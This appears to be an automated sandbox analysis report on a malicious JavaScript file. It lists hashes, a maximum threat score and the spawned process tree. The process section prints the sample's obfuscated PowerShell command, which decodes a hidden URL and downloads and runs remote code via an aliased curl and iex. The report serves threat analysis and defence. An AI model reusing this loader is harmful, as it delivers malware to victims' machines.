Analysis
-
max time kernel
117s -
max time network
117s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21/12/2024, 14:45
General
-
Target
fa10eb739f1d697be31cf23ab10332972a7e43413f48e8324cb45b2350e353fc.js
-
Size
188KB
-
MD5
12e23ec48ad0386ed948b2d2b11c4dcf
-
SHA1
3c5f14a0ba6f3b6a586ad16f31175e592f3aeeb1
-
SHA256
fa10eb739f1d697be31cf23ab10332972a7e43413f48e8324cb45b2350e353fc
-
SHA512
32335ae27614bfdebbfc1d17f7717c6c8a26dada9fac14baaecbafc45d71e6bc33f1c37e07316521fd7f5d6d8d99ba20d3167f24a290250a2cefdcb7ed2561d7
-
SSDEEP
1536:nw61WyMW/kIeCMcGWJQYK4u9WEwSEmP4/OKkIeCMcGWJQFK4u9WEwSEmP4/O5K4F:n6ctltCtIt7
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\fa10eb739f1d697be31cf23ab10332972a7e43413f48e8324cb45b2350e353fc.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $zxsjrkpqfwb='ur' ;new-alias printout c$($zxsjrkpqfwb)l;$hbfyao=(7292,7303,7311,7295,7297,7292,7312,7311,7316,7249,7311,7245,7292,7240,7310,7305,7306,7241,7243,7240,7306,7298,7306,7257,7309,7255,7303,7299,7304,7310,7309,7244,7243);$pyfmqeg=('bronx','get-cmdlet');$hsaokitvbwnx=$hbfyao;foreach($wlboeinsrm in $hsaokitvbwnx){$blxotegcfu=$wlboeinsrm;$rpktvlhfxmq=$rpktvlhfxmq+[char]($blxotegcfu-7194);$vmauiqe=$rpktvlhfxmq; $yvwirdnebf=$vmauiqe};$gnotqk[2]=$yvwirdnebf;$phajrfoqyxm='rl';$zkldtisxyrf=1;.$([char](9992-9887)+'e'+'x')(printout -useb $yvwirdnebf)1⤵
- Process spawned unexpected child process